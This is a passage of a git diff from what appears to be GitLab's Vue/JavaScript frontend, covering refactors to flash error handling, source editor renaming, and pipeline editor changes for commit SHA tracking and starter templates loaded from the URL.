@@ -78,7 +78,11 @@ export default class Project {
},
})
.then(({ data }) => callback(data))
- .catch(() => flash(__('An error occurred while getting projects')));
+ .catch(() =>
+ createFlash({
+ message: __('An error occurred while getting projects'),
+ }),
+ );
},
selectable: true,
filterable: true,
diff --git a/app/assets/javascripts/pages/projects/security/configuration/index.js b/app/assets/javascripts/pages/projects/security/configuration/index.js
index 101cb8356b2..8bba3d7af54 100644
--- a/app/assets/javascripts/pages/projects/security/configuration/index.js
+++ b/app/assets/javascripts/pages/projects/security/configuration/index.js
@@ -1,3 +1,3 @@
-import { initStaticSecurityConfiguration } from '~/security_configuration';
+import { initCESecurityConfiguration } from '~/security_configuration';
-initStaticSecurityConfiguration(document.querySelector('#js-security-configuration-static'));
+initCESecurityConfiguration(document.querySelector('#js-security-configuration-static'));
diff --git a/app/assets/javascripts/pages/projects/settings/ci_cd/show/index.js b/app/assets/javascripts/pages/projects/settings/ci_cd/show/index.js
index db7b3bad6ed..e88dbf20e1b 100644
--- a/app/assets/javascripts/pages/projects/settings/ci_cd/show/index.js
+++ b/app/assets/javascripts/pages/projects/settings/ci_cd/show/index.js
@@ -8,6 +8,7 @@ import { initRunnerAwsDeployments } from '~/pages/shared/mount_runner_aws_deploy
import { initInstallRunner } from '~/pages/shared/mount_runner_instructions';
import initSharedRunnersToggle from '~/projects/settings/mount_shared_runners_toggle';
import initSettingsPanels from '~/settings_panels';
+import { initTokenAccess } from '~/token_access';
document.addEventListener('DOMContentLoaded', () => {
// Initialize expandable settings panels
@@ -40,4 +41,5 @@ document.addEventListener('DOMContentLoaded', () => {
initSharedRunnersToggle();
initInstallRunner();
initRunnerAwsDeployments();
+ initTokenAccess();
});
diff --git a/app/assets/javascripts/pages/projects/shared/permissions/components/settings_panel.vue b/app/assets/javascripts/pages/projects/shared/permissions/components/settings_panel.vue
index 11e6b4577e0..6fcaa3ab04b 100644
--- a/app/assets/javascripts/pages/projects/shared/permissions/components/settings_panel.vue
+++ b/app/assets/javascripts/pages/projects/shared/permissions/components/settings_panel.vue
@@ -104,6 +104,11 @@ export default {
required: false,
default: '',
},
+ issuesHelpPath: {
+ type: String,
+ required: false,
+ default: '',
+ },
lfsHelpPath: {
type: String,
required: false,
@@ -438,8 +443,13 @@ export default {
>
<project-setting-row
ref="issues-settings"
+ :help-path="issuesHelpPath"
:label="$options.i18n.issuesLabel"
- :help-text="s__('ProjectSettings|Lightweight issue tracking system.')"
+ :help-text="
+ s__(
+ 'ProjectSettings|Flexible tool to collaboratively develop ideas and plan work in this project.',
+ )
+ "
>
<project-feature-setting
v-model="issuesAccessLevel"
diff --git a/app/assets/javascripts/pages/registrations/new/index.js b/app/assets/javascripts/pages/registrations/new/index.js
index 4104025aa59..ae605edeaf0 100644
--- a/app/assets/javascripts/pages/registrations/new/index.js
+++ b/app/assets/javascripts/pages/registrations/new/index.js
@@ -2,8 +2,6 @@ import NoEmojiValidator from '~/emoji/no_emoji_validator';
import LengthValidator from '~/pages/sessions/new/length_validator';
import UsernameValidator from '~/pages/sessions/new/username_validator';
-document.addEventListener('DOMContentLoaded', () => {
- new UsernameValidator(); // eslint-disable-line no-new
- new LengthValidator(); // eslint-disable-line no-new
- new NoEmojiValidator(); // eslint-disable-line no-new
-});
+new UsernameValidator(); // eslint-disable-line no-new
+new LengthValidator(); // eslint-disable-line no-new
+new NoEmojiValidator(); // eslint-disable-line no-new
diff --git a/app/assets/javascripts/pages/sessions/new/index.js b/app/assets/javascripts/pages/sessions/new/index.js
index d39f56cfd03..465aed88c01 100644
--- a/app/assets/javascripts/pages/sessions/new/index.js
+++ b/app/assets/javascripts/pages/sessions/new/index.js
@@ -1,4 +1,5 @@
import $ from 'jquery';
+import initVueAlerts from '~/vue_alerts';
import NoEmojiValidator from '../../../emoji/no_emoji_validator';
import LengthValidator from './length_validator';
import OAuthRememberMe from './oauth_remember_me';
@@ -19,4 +20,5 @@ document.addEventListener('DOMContentLoaded', () => {
// Save the URL fragment from the current window location. This will be present if the user was
// redirected to sign-in after attempting to access a protected URL that included a fragment.
preserveUrlFragment(window.location.hash);
+ initVueAlerts();
});
diff --git a/app/assets/javascripts/pages/sessions/new/username_validator.js b/app/assets/javascripts/pages/sessions/new/username_validator.js
index 338fe1b66f2..7ea744a68a6 100644
--- a/app/assets/javascripts/pages/sessions/new/username_validator.js
+++ b/app/assets/javascripts/pages/sessions/new/username_validator.js
@@ -1,6 +1,6 @@
import { debounce } from 'lodash';
-import { deprecatedCreateFlash as flash } from '~/flash';
+import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
import { __ } from '~/locale';
import InputValidator from '~/validators/input_validator';
@@ -50,7 +50,11 @@ export default class UsernameValidator extends InputValidator {
usernameTaken ? unavailableMessageSelector : successMessageSelector,
);
})
- .catch(() => flash(__('An error occurred while validating username')));
+ .catch(() =>
+ createFlash({
+ message: __('An error occurred while validating username'),
+ }),
+ );
}
}
diff --git a/app/assets/javascripts/pages/shared/wikis/components/wiki_form.vue b/app/assets/javascripts/pages/shared/wikis/components/wiki_form.vue
index 26f6d1d683a..e883fecb170 100644
--- a/app/assets/javascripts/pages/shared/wikis/components/wiki_form.vue
+++ b/app/assets/javascripts/pages/shared/wikis/components/wiki_form.vue
@@ -212,13 +212,20 @@ export default {
.then(({ data }) => data.body);
},
- handleFormSubmit() {
+ async handleFormSubmit(e) {
+ e.preventDefault();
+
if (this.useContentEditor) {
this.content = this.contentEditor.getSerializedContent();
this.trackFormSubmit();
}
+ // Wait until form field values are refreshed
+ await this.$nextTick();
+
+ e.target.submit();
+
this.isDirty = false;
},
@@ -257,6 +264,7 @@ export default {
this.contentEditor ||
createContentEditor({
renderMarkdown: (markdown) => this.getContentHTML(markdown),
+ uploadsPath: this.pageInfo.uploadsPath,
tiptapOptions: {
onUpdate: () => this.handleContentChange(),
},
@@ -454,7 +462,7 @@ export default {
</markdown-field>
<div v-if="isContentEditorActive">
- <gl-alert class="gl-mb-6" variant="tip" :dismissable="false">
+ <gl-alert class="gl-mb-6" variant="tip" :dismissible="false">
<gl-sprintf :message="$options.i18n.contentEditor.feedbackTip">
<template
#link="// eslint-disable-next-line vue/no-template-shadow
@@ -468,7 +476,11 @@ export default {
>
</gl-sprintf>
</gl-alert>
- <gl-loading-icon v-if="isContentEditorLoading" class="bordered-box gl-w-full gl-py-6" />
+ <gl-loading-icon
+ v-if="isContentEditorLoading"
+ size="sm"
+ class="bordered-box gl-w-full gl-py-6"
+ />
<content-editor v-else :content-editor="contentEditor" />
<input id="wiki_content" v-model.trim="content" type="hidden" name="wiki[content]" />
</div>
diff --git a/app/assets/javascripts/pages/shared/wikis/index.js b/app/assets/javascripts/pages/shared/wikis/index.js
index c04cd0b3fa4..42aefe81325 100644
--- a/app/assets/javascripts/pages/shared/wikis/index.js
+++ b/app/assets/javascripts/pages/shared/wikis/index.js
@@ -27,8 +27,10 @@ const createModalVueApp = () => {
// eslint-disable-next-line no-new
new Vue({
el: deleteWikiModalWrapperEl,
- data: {
- deleteWikiUrl: '',
+ data() {
+ return {
+ deleteWikiUrl: '',
+ };
},
render(createElement) {
return createElement(deleteWikiModal, {
diff --git a/app/assets/javascripts/pages/users/activity_calendar.js b/app/assets/javascripts/pages/users/activity_calendar.js
index 03dba699461..0fab4678bc3 100644
--- a/app/assets/javascripts/pages/users/activity_calendar.js
+++ b/app/assets/javascripts/pages/users/activity_calendar.js
@@ -2,7 +2,7 @@ import { select } from 'd3-selection';
import dateFormat from 'dateformat';
import $ from 'jquery';
import { last } from 'lodash';
-import { deprecatedCreateFlash as flash } from '~/flash';
+import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
import { getDayName, getDayDifference } from '~/lib/utils/datetime_utility';
import { n__, s__, __ } from '~/locale';
@@ -295,7 +295,11 @@ export default class ActivityCalendar {
responseType: 'text',
})
.then(({ data }) => $(this.activitiesContainer).html(data))
- .catch(() => flash(__('An error occurred while retrieving calendar activity')));
+ .catch(() =>
+ createFlash({
+ message: __('An error occurred while retrieving calendar activity'),
+ }),
+ );
} else {
this.currentSelectedDate = '';
$(this.activitiesContainer).html('');
diff --git a/app/assets/javascripts/pages/users/user_tabs.js b/app/assets/javascripts/pages/users/user_tabs.js
index f9d70845560..90eafa85886 100644
--- a/app/assets/javascripts/pages/users/user_tabs.js
+++ b/app/assets/javascripts/pages/users/user_tabs.js
@@ -166,7 +166,7 @@ export default class UserTabs {
const tabSelector = `div#${action}`;
this.$parentEl.find(tabSelector).html(data.html);
this.loaded[action] = true;
- localTimeAgo($('.js-timeago', tabSelector));
+ localTimeAgo(document.querySelectorAll(`${tabSelector} .js-timeago`));
this.toggleLoading(false);
})
@@ -209,7 +209,7 @@ export default class UserTabs {
container,
url: $(`${container} .overview-content-list`).data('href'),
...options,
- postRenderCallback: () => localTimeAgo($('.js-timeago', container)),
+ postRenderCallback: () => localTimeAgo(document.querySelectorAll(`${container} .js-timeago`)),
});
}
diff --git a/app/assets/javascripts/performance/constants.js b/app/assets/javascripts/performance/constants.js
index 1db80057d0c..b9a9ef215af 100644
--- a/app/assets/javascripts/performance/constants.js
+++ b/app/assets/javascripts/performance/constants.js
@@ -83,7 +83,9 @@ export const PIPELINES_DETAIL_LINKS_JOB_RATIO = 'pipeline_graph_links_per_job_ra
// Marks
export const REPO_BLOB_LOAD_VIEWER_START = 'blobviewer-load-viewer-start';
+export const REPO_BLOB_SWITCH_TO_VIEWER_START = 'blobviewer-switch-to-viewerr-start';
export const REPO_BLOB_LOAD_VIEWER_FINISH = 'blobviewer-load-viewer-finish';
// Measures
-export const REPO_BLOB_LOAD_VIEWER = 'Repository File Viewer: loading the content';
+export const REPO_BLOB_LOAD_VIEWER = 'Repository File Viewer: loading the viewer';
+export const REPO_BLOB_SWITCH_VIEWER = 'Repository File Viewer: switching the viewer';
diff --git a/app/assets/javascripts/performance_bar/components/detailed_metric.vue b/app/assets/javascripts/performance_bar/components/detailed_metric.vue
index 04efc459a21..f163a7c3a8e 100644
--- a/app/assets/javascripts/performance_bar/components/detailed_metric.vue
+++ b/app/assets/javascripts/performance_bar/components/detailed_metric.vue
@@ -27,9 +27,7 @@ export default {
title: {
type: String,
required: false,
- default() {
- return this.metric;
- },
+ default: null,
},
header: {
type: String,
@@ -101,6 +99,9 @@ export default {
return '';
},
+ actualTitle() {
+ return this.title ?? this.metric;
+ },
},
methods: {
toggleBacktrace(toggledIndex) {
@@ -214,7 +215,7 @@ export default {
<div></div>
</template>
</gl-modal>
- {{ title }}
+ {{ actualTitle }}
<request-warning :html-id="htmlId" :warnings="warnings" />
</div>
</template>
diff --git a/app/assets/javascripts/persistent_user_callout.js b/app/assets/javascripts/persistent_user_callout.js
index e845c8b9df4..bc83844b8b9 100644
--- a/app/assets/javascripts/persistent_user_callout.js
+++ b/app/assets/javascripts/persistent_user_callout.js
@@ -1,4 +1,4 @@
-import { deprecatedCreateFlash as Flash } from './flash';
+import createFlash from './flash';
import axios from './lib/utils/axios_utils';
import { parseBoolean } from './lib/utils/common_utils';
import { __ } from './locale';
@@ -62,7 +62,11 @@ export default class PersistentUserCallout {
}
})
.catch(() => {
- Flash(__('An error occurred while dismissing the alert. Refresh the page and try again.'));
+ createFlash({
+ message: __(
+ 'An error occurred while dismissing the alert. Refresh the page and try again.',
+ ),
+ });
});
}
@@ -79,11 +83,11 @@ export default class PersistentUserCallout {
window.location.assign(href);
})
.catch(() => {
- Flash(
- __(
+ createFlash({
+ message: __(
'An error occurred while acknowledging the notification. Refresh the page and try again.',
),
- );
+ });
});
}
diff --git a/app/assets/javascripts/pipeline_editor/components/commit/commit_form.vue b/app/assets/javascripts/pipeline_editor/components/commit/commit_form.vue
index f6e88738002..f1fe8cf10fd 100644
--- a/app/assets/javascripts/pipeline_editor/components/commit/commit_form.vue
+++ b/app/assets/javascripts/pipeline_editor/components/commit/commit_form.vue
@@ -103,6 +103,7 @@ export default {
v-model="targetBranch"
class="gl-font-monospace!"
required
+ data-qa-selector="target_branch_field"
/>
<gl-form-checkbox
v-if="!isCurrentBranchTarget"
diff --git a/app/assets/javascripts/pipeline_editor/components/editor/ci_config_merged_preview.vue b/app/assets/javascripts/pipeline_editor/components/editor/ci_config_merged_preview.vue
index 455990f2791..853e839a7ab 100644
--- a/app/assets/javascripts/pipeline_editor/components/editor/ci_config_merged_preview.vue
+++ b/app/assets/javascripts/pipeline_editor/components/editor/ci_config_merged_preview.vue
@@ -2,14 +2,14 @@
import { GlIcon } from '@gitlab/ui';
import { uniqueId } from 'lodash';
import { s__ } from '~/locale';
-import EditorLite from '~/vue_shared/components/editor_lite.vue';
+import SourceEditor from '~/vue_shared/components/source_editor.vue';
export default {
i18n: {
viewOnlyMessage: s__('Pipelines|Merged YAML is view only'),
},
components: {
- EditorLite,
+ SourceEditor,
GlIcon,
},
inject: ['ciConfigPath'],
@@ -41,7 +41,7 @@ export default {
{{ $options.i18n.viewOnlyMessage }}
</div>
<div class="gl-mt-3 gl-border-solid gl-border-gray-100 gl-border-1">
- <editor-lite
+ <source-editor
ref="editor"
:value="mergedYaml"
:file-name="ciConfigPath"
diff --git a/app/assets/javascripts/pipeline_editor/components/editor/ci_editor_header.vue b/app/assets/javascripts/pipeline_editor/components/editor/ci_editor_header.vue
new file mode 100644
index 00000000000..b4e9ab81d38
--- /dev/null
+++ b/app/assets/javascripts/pipeline_editor/components/editor/ci_editor_header.vue
@@ -0,0 +1,38 @@
+<script>
+import { GlButton } from '@gitlab/ui';
+import { __ } from '~/locale';
+import Tracking from '~/tracking';
+import { pipelineEditorTrackingOptions, TEMPLATE_REPOSITORY_URL } from '../../constants';
+
+export default {
+ i18n: {
+ browseTemplates: __('Browse templates'),
+ },
+ TEMPLATE_REPOSITORY_URL,
+ components: {
+ GlButton,
+ },
+ mixins: [Tracking.mixin()],
+ methods: {
+ trackTemplateBrowsing() {
+ const { label, actions } = pipelineEditorTrackingOptions;
+
+ this.track(actions.browse_templates, { label });
+ },
+ },
+};
+</script>
+
+<template>
+ <div class="gl-bg-gray-10 gl-p-3 gl-border-solid gl-border-gray-100 gl-border-1">
+ <gl-button
+ :href="$options.TEMPLATE_REPOSITORY_URL"
+ size="small"
+ icon="external-link"
+ target="_blank"
+ @click="trackTemplateBrowsing"
+ >
+ {{ $options.i18n.browseTemplates }}
+ </gl-button>
+ </div>
+</template>
diff --git a/app/assets/javascripts/pipeline_editor/components/editor/text_editor.vue b/app/assets/javascripts/pipeline_editor/components/editor/text_editor.vue
index d373f74a5c4..77ede396496 100644
--- a/app/assets/javascripts/pipeline_editor/components/editor/text_editor.vue
+++ b/app/assets/javascripts/pipeline_editor/components/editor/text_editor.vue
@@ -1,13 +1,13 @@
<script>
import { EDITOR_READY_EVENT } from '~/editor/constants';
-import { CiSchemaExtension } from '~/editor/extensions/editor_ci_schema_ext';
-import EditorLite from '~/vue_shared/components/editor_lite.vue';
+import { CiSchemaExtension } from '~/editor/extensions/source_editor_ci_schema_ext';
+import SourceEditor from '~/vue_shared/components/source_editor.vue';
import glFeatureFlagMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
import getCommitSha from '../../graphql/queries/client/commit_sha.graphql';
export default {
components: {
- EditorLite,
+ SourceEditor,
},
mixins: [glFeatureFlagMixin()],
inject: ['ciConfigPath', 'projectPath', 'projectNamespace', 'defaultBranch'],
@@ -43,8 +43,8 @@ export default {
};
</script>
<template>
- <div class="gl-border-solid gl-border-gray-100 gl-border-1">
- <editor-lite
+ <div class="gl-border-solid gl-border-gray-100 gl-border-1 gl-border-t-none!">
+ <source-editor
ref="editor"
:file-name="ciConfigPath"
v-bind="$attrs"
diff --git a/app/assets/javascripts/pipeline_editor/components/file_nav/branch_switcher.vue b/app/assets/javascripts/pipeline_editor/components/file_nav/branch_switcher.vue
index 05b87abecd5..ee6d4ff7c4d 100644
--- a/app/assets/javascripts/pipeline_editor/components/file_nav/branch_switcher.vue
+++ b/app/assets/javascripts/pipeline_editor/components/file_nav/branch_switcher.vue
@@ -158,6 +158,12 @@ export default {
const updatedPath = setUrlParams({ branch_name: newBranch });
historyPushState(updatedPath);
+ this.$emit('updateCommitSha', { newBranch });
+
+ // refetching the content will cause a lot of components to re-render,
+ // including the text editor which uses the commit sha to register the CI schema
+ // so we need to make sure the commit sha is updated first
+ await this.$nextTick();
this.$emit('refetchContent');
},
async setSearchTerm(newSearchTerm) {
@@ -205,6 +211,7 @@ export default {
:header-text="$options.i18n.dropdownHeader"
:text="currentBranch"
icon="branch"
+ data-qa-selector="branch_selector_button"
>
<gl-search-box-by-type :debounce="$options.inputDebounce" @input="setSearchTerm" />
<gl-dropdown-section-header>
@@ -222,6 +229,7 @@ export default {
:key="branch"
:is-checked="currentBranch === branch"
:is-check-item="true"
+ data-qa-selector="menu_branch_button"
@click="selectBranch(branch)"
>
{{ branch }}
diff --git a/app/assets/javascripts/pipeline_editor/components/header/pipeline_status.vue b/app/assets/javascripts/pipeline_editor/components/header/pipeline_status.vue
index 368a026bdaa..6af3361e7e6 100644
--- a/app/assets/javascripts/pipeline_editor/components/header/pipeline_status.vue
+++ b/app/assets/javascripts/pipeline_editor/components/header/pipeline_status.vue
@@ -66,6 +66,7 @@ export default {
},
data() {
return {
+ commitSha: '',
hasError: false,
};
},
diff --git a/app/assets/javascripts/pipeline_editor/components/header/validation_segment.vue b/app/assets/javascripts/pipeline_editor/components/header/validation_segment.vue
index d1534655a00..8bffd893473 100644
--- a/app/assets/javascripts/pipeline_editor/components/header/validation_segment.vue
+++ b/app/assets/javascripts/pipeline_editor/components/header/validation_segment.vue
@@ -87,7 +87,7 @@ export default {
<template>
<div>
<template v-if="isLoading">
- <gl-loading-icon inline />
+ <gl-loading-icon size="sm" inline />
{{ $options.i18n.loading }}
</template>
diff --git a/app/assets/javascripts/pipeline_editor/components/pipeline_editor_tabs.vue b/app/assets/javascripts/pipeline_editor/components/pipeline_editor_tabs.vue
index c3dcc00af6e..e463fcf379d 100644
--- a/app/assets/javascripts/pipeline_editor/components/pipeline_editor_tabs.vue
+++ b/app/assets/javascripts/pipeline_editor/components/pipeline_editor_tabs.vue
@@ -16,6 +16,7 @@ import {
} from '../constants';
import getAppStatus from '../graphql/queries/client/app_status.graphql';
import CiConfigMergedPreview from './editor/ci_config_merged_preview.vue';
+import CiEditorHeader from './editor/ci_editor_header.vue';
import TextEditor from './editor/text_editor.vue';
import CiLint from './lint/ci_lint.vue';
import EditorTab from './ui/editor_tab.vue';
@@ -49,6 +50,7 @@ export default {
},
components: {
CiConfigMergedPreview,
+ CiEditorHeader,
CiLint,
EditorTab,
GlAlert,
@@ -107,6 +109,7 @@ export default {
data-testid="editor-tab"
@click="setCurrentTab($options.tabConstants.CREATE_TAB)"
>
+ <ci-editor-header />
<text-editor :value="ciFileContent" v-on="$listeners" />
</editor-tab>
<editor-tab
diff --git a/app/assets/javascripts/pipeline_editor/constants.js b/app/assets/javascripts/pipeline_editor/constants.js
index 1467abd7289..d05b06d16db 100644
--- a/app/assets/javascripts/pipeline_editor/constants.js
+++ b/app/assets/javascripts/pipeline_editor/constants.js
@@ -33,3 +33,13 @@ export const BRANCH_PAGINATION_LIMIT = 20;
export const BRANCH_SEARCH_DEBOUNCE = '500';
export const STARTER_TEMPLATE_NAME = 'Getting-Started';
+
+export const pipelineEditorTrackingOptions = {
+ label: 'pipeline_editor',
+ actions: {
+ browse_templates: 'browse_templates',
+ },
+};
+
+export const TEMPLATE_REPOSITORY_URL =
+ 'https://gitlab.com/gitlab-org/gitlab-foss/tree/master/lib/gitlab/ci/templates';
diff --git a/app/assets/javascripts/pipeline_editor/graphql/mutations/update_commit_sha.mutation.graphql b/app/assets/javascripts/pipeline_editor/graphql/mutations/update_commit_sha.mutation.graphql
new file mode 100644
index 00000000000..dce17cad808
--- /dev/null
+++ b/app/assets/javascripts/pipeline_editor/graphql/mutations/update_commit_sha.mutation.graphql
@@ -0,0 +1,3 @@
+mutation updateCommitSha($commitSha: String) {
+ updateCommitSha(commitSha: $commitSha) @client
+}
diff --git a/app/assets/javascripts/pipeline_editor/graphql/queries/blob_content.graphql b/app/assets/javascripts/pipeline_editor/graphql/queries/blob_content.graphql
index 9f1b5b13088..5500244b430 100644
--- a/app/assets/javascripts/pipeline_editor/graphql/queries/blob_content.graphql
+++ b/app/assets/javascripts/pipeline_editor/graphql/queries/blob_content.graphql
@@ -1,5 +1,11 @@
-query getBlobContent($projectPath: ID!, $path: String, $ref: String!) {
- blobContent(projectPath: $projectPath, path: $path, ref: $ref) @client {
- rawData
+query getBlobContent($projectPath: ID!, $path: String!, $ref: String) {
+ project(fullPath: $projectPath) {
+ repository {
+ blobs(paths: [$path], ref: $ref) {
+ nodes {
+ rawBlob
+ }
+ }
+ }
}
}
diff --git a/app/assets/javascripts/pipeline_editor/graphql/queries/ci_config.graphql b/app/assets/javascripts/pipeline_editor/graphql/queries/ci_config.graphql
index 30c18a96536..df7de6a1f54 100644
--- a/app/assets/javascripts/pipeline_editor/graphql/queries/ci_config.graphql
+++ b/app/assets/javascripts/pipeline_editor/graphql/queries/ci_config.graphql
@@ -1,7 +1,7 @@
#import "~/pipelines/graphql/fragments/pipeline_stages_connection.fragment.graphql"
-query getCiConfigData($projectPath: ID!, $content: String!) {
- ciConfig(projectPath: $projectPath, content: $content) {
+query getCiConfigData($projectPath: ID!, $sha: String, $content: String!) {
+ ciConfig(projectPath: $projectPath, sha: $sha, content: $content) {
errors
mergedYaml
status
diff --git a/app/assets/javascripts/pipeline_editor/graphql/queries/latest_commit_sha.query.graphql b/app/assets/javascripts/pipeline_editor/graphql/queries/latest_commit_sha.query.graphql
new file mode 100644
index 00000000000..219c23bb22b
--- /dev/null
+++ b/app/assets/javascripts/pipeline_editor/graphql/queries/latest_commit_sha.query.graphql
@@ -0,0 +1,12 @@
+query getLatestCommitSha($projectPath: ID!, $ref: String) {
+ project(fullPath: $projectPath) {
+ pipelines(ref: $ref) {
+ nodes {
+ id
+ sha
+ path
+ commitPath
+ }
+ }
+ }
+}
diff --git a/app/assets/javascripts/pipeline_editor/graphql/resolvers.js b/app/assets/javascripts/pipeline_editor/graphql/resolvers.js
index 8cead7f3315..2bec2006e95 100644
--- a/app/assets/javascripts/pipeline_editor/graphql/resolvers.js
+++ b/app/assets/javascripts/pipeline_editor/graphql/resolvers.js
@@ -1,20 +1,10 @@
import produce from 'immer';
-import Api from '~/api';
import axios from '~/lib/utils/axios_utils';
+import getCommitShaQuery from './queries/client/commit_sha.graphql';
import getCurrentBranchQuery from './queries/client/current_branch.graphql';
import getLastCommitBranchQuery from './queries/client/last_commit_branch.query.graphql';
export const resolvers = {
- Query: {
- blobContent(_, { projectPath, path, ref }) {
- return {
- __typename: 'BlobContent',
- rawData: Api.getRawFile(projectPath, path, { ref }).then(({ data }) => {
- return data;
- }),
- };
- },
- },
Mutation: {
lintCI: (_, { endpoint, content, dry_run }) => {
return axios.post(endpoint, { content, dry_run }).then(({ data }) => ({
@@ -42,7 +32,15 @@ export const resolvers = {
__typename: 'CiLintContent',
}));
},
- updateCurrentBranch: (_, { currentBranch = undefined }, { cache }) => {
+ updateCommitSha: (_, { commitSha }, { cache }) => {
+ cache.writeQuery({
+ query: getCommitShaQuery,
+ data: produce(cache.readQuery({ query: getCommitShaQuery }), (draftData) => {
+ draftData.commitSha = commitSha;
+ }),
+ });
+ },
+ updateCurrentBranch: (_, { currentBranch }, { cache }) => {
cache.writeQuery({
query: getCurrentBranchQuery,
data: produce(cache.readQuery({ query: getCurrentBranchQuery }), (draftData) => {
@@ -50,7 +48,7 @@ export const resolvers = {
}),
});
},
- updateLastCommitBranch: (_, { lastCommitBranch = undefined }, { cache }) => {
+ updateLastCommitBranch: (_, { lastCommitBranch }, { cache }) => {
cache.writeQuery({
query: getLastCommitBranchQuery,
data: produce(cache.readQuery({ query: getLastCommitBranchQuery }), (draftData) => {
diff --git a/app/assets/javascripts/pipeline_editor/pipeline_editor_app.vue b/app/assets/javascripts/pipeline_editor/pipeline_editor_app.vue
index c24e6523352..0e8a6805a59 100644
--- a/app/assets/javascripts/pipeline_editor/pipeline_editor_app.vue
+++ b/app/assets/javascripts/pipeline_editor/pipeline_editor_app.vue
@@ -1,7 +1,7 @@
<script>
import { GlLoadingIcon } from '@gitlab/ui';
import { fetchPolicies } from '~/lib/graphql';
-import httpStatusCodes from '~/lib/utils/http_status';
+import { queryToObject } from '~/lib/utils/url_utility';
import { s__ } from '~/locale';
import { unwrapStagesWithNeeds } from '~/pipelines/components/unwrapping_utils';
@@ -16,12 +16,15 @@ import {
LOAD_FAILURE_UNKNOWN,
STARTER_TEMPLATE_NAME,
} from './constants';
+import updateCommitShaMutation from './graphql/mutations/update_commit_sha.mutation.graphql';
import getBlobContent from './graphql/queries/blob_content.graphql';
import getCiConfigData from './graphql/queries/ci_config.graphql';
import getAppStatus from './graphql/queries/client/app_status.graphql';
+import getCommitSha from './graphql/queries/client/commit_sha.graphql';
import getCurrentBranch from './graphql/queries/client/current_branch.graphql';
import getIsNewCiConfigFile from './graphql/queries/client/is_new_ci_config_file.graphql';
import getTemplate from './graphql/queries/get_starter_template.query.graphql';
+import getLatestCommitShaQuery from './graphql/queries/latest_commit_sha.query.graphql';
import PipelineEditorHome from './pipeline_editor_home.vue';
export default {
@@ -42,6 +45,7 @@ export default {
},
data() {
return {
+ starterTemplateName: STARTER_TEMPLATE_NAME,
ciConfigData: {},
failureType: null,
failureReasons: [],
@@ -76,22 +80,40 @@ export default {
};
},
update(data) {
- return data?.blobContent?.rawData;
+ return data?.project?.repository?.blobs?.nodes[0]?.rawBlob;
},
result({ data }) {
- const fileContent = data?.blobContent?.rawData ?? '';
+ const nodes = data?.project?.repository?.blobs?.nodes;
+ if (!nodes) {
+ this.reportFailure(LOAD_FAILURE_UNKNOWN);
+ } else {
+ const rawBlob = nodes[0]?.rawBlob;
+ const fileContent = rawBlob ?? '';
- this.lastCommittedContent = fileContent;
- this.currentCiFileContent = fileContent;
+ this.lastCommittedContent = fileContent;
+ this.currentCiFileContent = fileContent;
- // make sure to reset the start screen flag during a refetch
- // e.g. when switching branches
- if (fileContent.length) {
- this.showStartScreen = false;
+ // If rawBlob is defined and returns a string, it means that there is
+ // a CI config file with empty content. If `rawBlob` is not defined
+ // at all, it means there was no file found.
+ const hasCIFile = rawBlob === '' || fileContent.length > 0;
+
+ if (!fileContent.length) {
+ this.setAppStatus(EDITOR_APP_STATUS_EMPTY);
+ }
+
+ if (!hasCIFile) {
+ this.showStartScreen = true;
+ } else if (fileContent.length) {
+ // If the file content is > 0, then we make sure to reset the
+ // start screen flag during a refetch
+ // e.g. when switching branches
+ this.showStartScreen = false;
+ }
}
},
- error(error) {
- this.handleBlobContentError(error);
+ error() {
+ this.reportFailure(LOAD_FAILURE_UNKNOWN);
},
watchLoading(isLoading) {
if (isLoading) {
@@ -107,6 +129,7 @@ export default {
variables() {
return {
projectPath: this.projectFullPath,
+ sha: this.commitSha,
content: this.currentCiFileContent,
};
},
@@ -132,6 +155,9 @@ export default {
appStatus: {
query: getAppStatus,
},
+ commitSha: {
+ query: getCommitSha,
+ },
currentBranch: {
query: getCurrentBranch,
},
@@ -143,7 +169,7 @@ export default {
variables() {
return {
projectPath: this.projectFullPath,
- templateName: STARTER_TEMPLATE_NAME,
+ templateName: this.starterTemplateName,
};
},
skip({ isNewCiConfigFile }) {
@@ -186,23 +212,10 @@ export default {
}
},
},
+ mounted() {
+ this.loadTemplateFromURL();
+ },
methods: {
- handleBlobContentError(error = {}) {
- const { networkError } = error;
-
- const { response } = networkError;
- // 404 for missing CI file
- // 400 for blank projects with no repository
- if (
- response?.status === httpStatusCodes.NOT_FOUND ||
- response?.status === httpStatusCodes.BAD_REQUEST
- ) {
- this.setAppStatus(EDITOR_APP_STATUS_EMPTY);
- this.showStartScreen = true;
- } else {
- this.reportFailure(LOAD_FAILURE_UNKNOWN);
- }
- },
hideFailure() {
this.showFailure = false;
},
@@ -244,6 +257,38 @@ export default {
updateCiConfig(ciFileContent) {
this.currentCiFileContent = ciFileContent;
},
+ async updateCommitSha({ newBranch }) {
+ let fetchResults;
+
+ try {
+ fetchResults = await this.$apollo.query({
+ query: getLatestCommitShaQuery,
+ variables: {
+ projectPath: this.projectFullPath,
+ ref: newBranch,
+ },
+ });
+ } catch {
+ this.showFetchError();
+ return;
+ }
+
+ if (fetchResults.errors?.length > 0) {
+ this.showFetchError();
+ return;
+ }
+
+ const pipelineNodes = fetchResults?.data?.project?.pipelines?.nodes ?? [];
+ if (pipelineNodes.length === 0) {
+ return;
+ }
+
+ const commitSha = pipelineNodes[0].sha;
+ this.$apollo.mutate({
+ mutation: updateCommitShaMutation,
+ variables: { commitSha },
+ });
+ },
updateOnCommit({ type }) {
this.reportSuccess(type);
@@ -257,6 +302,14 @@ export default {
// if the user has made changes to the file that are unsaved.
this.lastCommittedContent = this.currentCiFileContent;
},
+ loadTemplateFromURL() {
+ const templateName = queryToObject(window.location.search)?.template;
+
+ if (templateName) {
+ this.starterTemplateName = templateName;
+ this.setNewEmptyCiConfigFile();
+ }
+ },
},
};
</script>
@@ -288,6 +341,7 @@ export default {
@showError="showErrorAlert"
@refetchContent="refetchContent"
@updateCiConfig="updateCiConfig"
+ @updateCommitSha="updateCommitSha"
/>
<confirm-unsaved-changes-dialog :has-unsaved-changes="hasUnsavedChanges" />
</div>
diff --git a/app/assets/javascripts/pipeline_new/constants.js b/app/assets/javascripts/pipeline_new/constants.js
index 91a064a0fb8..a6c9f3cb746 100644
--- a/app/assets/javascripts/pipeline_new/constants.js
+++ b/app/assets/javascripts/pipeline_new/constants.js
@@ -1,6 +1,8 @@
+import { DEFAULT_DEBOUNCE_AND_THROTTLE_MS } from '~/lib/utils/constants';
+
